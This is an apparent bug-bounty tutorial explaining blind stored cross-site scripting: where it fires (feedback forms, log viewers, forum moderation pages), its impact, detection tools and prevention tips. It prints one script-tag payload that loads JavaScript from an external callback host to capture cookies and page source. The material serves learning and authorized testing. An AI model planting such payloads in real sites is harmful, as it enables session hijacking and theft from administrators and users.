Understanding Blind XSS for Bug Bounty Hunting

 Blind XSS Vulnerability

Blind XSS is quite similar to stored Cross-Site Scripting attack where the input provided by the attacker is saved or stored by the web server and this stored input is reflected in various other applications which are linked with each other. It only triggers when the attacker’s input is stored by the web server in a database and executed as a malicious script in another part of the application or another application.

Attackers or Hackers inject the malicious script or payload ‘blindly’ on some web pages without having any assurance that it will be executing. Web pages that are likely to save their payload into the database are the most important carrier for Blind XSS attacks.

If the contact form is the part of the webpage and has to store its data to web server or database, then here the attackers come with his attack. The attacker injects code in contact forms and waits for the server-side user or team member to open or trigger that malicious code or payload to execute.

Blind XSS is a Persistent(stored) Cross-site Scripting Attack. It’s a Different challenge. It’s not like Blind SQLI where you get rapid feedback. You have no idea where your malicious scripts are going to end up. Truly speaking, You don’t even know whether your malicious script or payload will execute or when it will execute.

Diagrammatic Representation of Blind XSS:

Steps of Blind XSS

Impact

Many different attacks can be leveraged through the use of cross-site scripting, including:

1. Hijacking user’s active session.
2. Mounting phishing attacks.
3. Intercepting data and performing man-in-the-middle attacks.

 Blind XSS attacks can occur in:

1. Contact/Feedback pages
2. Log viewers
3. Exception handlers
4. Chat applications / forums
5. Customer ticket applications
6. Web Application Firewalls
7. Any application that requires user moderation
8. Customer service applications

Examples: 

Input Fields :

For example, imagine you have an internal application to manage the inventory of an online shop. In this application, the dealers enter the information of different products that are stored in a database server. The same database is also used by an online shop application, which is exposed to the internet for all the customers and needs to read the product information from the initial database. If a user injects a malicious string into the internal application, it is not important if the online shop has properly implemented input validation controls, as the information in the store is read from the same database, so the shop will show the attack.

Feedback Forms :

For example in feedback forms, an attacker can submit the malicious payload using the form, and once the backend user/admin of the application will open the attacker’s submitted form via the backend application, the attacker’s payload will get executed. Blind Cross-site Scripting is hard to confirm in the real-world scenario but one of the best tools for this is XSS Hunter.

Exception Handlers :

Another example of Blind XSS attacks is with logging solutions such as exception handlers. The attacker can use the API of the logger, to log some malicious code instead of an error. In the dashboard of the exception handling solution, where the logged errors are displayed, the malicious code will be rendered and executed.

Chat Forum:

Attackers can place the malicious scripts within the topic title in a forum or chat forum board. Again, most commonly, the server will save their post to a database, and the stored information can get exposed to other viewers, as the moderators over some time. In this scenario, the script may get clean when delivered to normal users, which will disable the malicious code. However, when a moderator of the forum will load a forum management web page, like a thread popularity report, for example, the malicious topic titles may be loaded and consequently, the attacker’s script would be executed, calling back with stolen information, redirecting the user or cause a denial of service attacks by for example calling code within the admin interface that stops the forum. Typical user targets are moderators of forums or chat forum boards, who load forum content from management web sessions to perform administrative tasks and the aim is again, security-related.

Detecting Blind XSS  in Web Applications for Bug Bounty Hunting:

 There are tools that can make this a lot easier to detect and deal with. XSS Hunter is a fantastic tool for the detection of Blind XSS in any web-based application.

The way it works is you inject the payload as an external JavaScript tag :

(<script src=//yoursubdomain.xss.ht></script>)

When an XSS vulnerability is present in the application, this script will be executed by the client and the script payload will execute. The payload will take a snapshot of the page, as well as the HTML source, cookies (without HttpOnly set), and other useful essential information. Now we can narrow down the XSS vulnerability whenever a user triggers it. The other great thing about the tool is that it has been open-sourced so you can set up a private instance as well.

Some more detection tools are available on the Internet are:

1. Burp Collaborator
2. KnoXSS
3. bXSS Hunter

Prevent  from Blind XSS attacks:

Like the offensive side, the defensive side is also very important in security. 
So here are some defensive sides or prevention steps to save your web application from Blind XSS.

1. The most common and effective way to accomplish this is by web developers who review the code and ensure that any user input is properly filtered.
2. You need a specialized tool that performs innocuous penetration testing, which apart from detecting the easy to detect XSS vulnerabilities.
3. If your website is implemented using the latest technology such as HTML 5 or you ensure that your web server is fully patched, the web application may still be vulnerable to XSS.
4. It is good coding practice to never trust data provided by the user.